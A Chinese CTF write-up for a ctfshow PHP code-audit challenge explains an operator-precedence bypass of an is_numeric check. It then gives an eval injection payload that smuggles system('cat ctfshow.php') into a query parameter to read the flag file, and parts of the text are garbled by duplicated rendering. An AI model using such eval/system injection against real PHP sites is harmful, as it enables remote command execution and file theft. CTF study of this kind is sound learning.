这道题同样是 CTF 中非常经典的 PHP 代码审计题,考查的是 PHP 的变量覆盖、内置类方法调用以及利用特殊字符绕过数字检查
题目注释里明确写了://flag in class ctfshow;,说明 flag 藏在 $ctfshow 这个对象实例对应的类方法或属性中并且还提到include(“ctfshow.php”);
所以flag大概率就藏在"ctfshow.php"中
接下来我们来观察一下这段代码
$v0=is_numeric($v1)andis_numeric($v2)andis_numeric($v3);if($v0)这里使用的是 and 运算符,而不是 &&。
在 PHP 中,赋值运算符 = 的优先级高于 and。因此,这行代码实际等价于:
($v0=is_numeric($v1))andis_numeric($v2)andis_numeric($v3);也就是说,v0的值完全取决于isnumeric(v0 的值完全取决于 is_numeric(v0的值完全取决于isnumeric(v1) 的结果。只要v1是数字,v1 是数字,v1是数字,v0 就为 true,从而通过 if($v0) 的检查!至于 $v2 和 $v3 是什么,根本不影响 $v0
解题对策:让 v1 = 1
if(!preg_match("/\;/",$v2)){// $v2 中不能含有分号 ;if(preg_match("/\;/",$v3)){// $v3 中必须含有分号 ;回到最终要执行的代码
eval("$v2('ctfshow')$v3");既然 $v2 后面紧跟着 (‘ctfshow’),我们能不能把这个括号里的 ‘ctfshow’ 变成变量 $ctfshow 呢?
在 PHP 双引号中,无法直接把字符串 ‘ctfshow’ 变成变量,但我们可以利用 $v3 把后面的语句闭合掉
设 $v2 = echo
因为echo(‘ctfshow’) 是合法语句,不会引起报错
设 $v3 = ;system(‘cat $ctfshow’);
将它们带入 eval 的双引号中
eval("echo('ctfshow');system(cat$ctfshow);");所以最后payload为:
?v1=1&v2=echo&v3=;system(‘cat ctfshow.php’);我们查看页面源代码
发现最下面有一行形似flag的,但是肯定跟flag有所不同,我们首先把0x2d改为-因为在 ASCII 编码中,十进制 45 对应字符 -(连字符/减号)
然后再套上一层ctfshow{}外壳最后flag为:
ctfshow{f659a938-c29d-47a2-bfa4-d61854807256}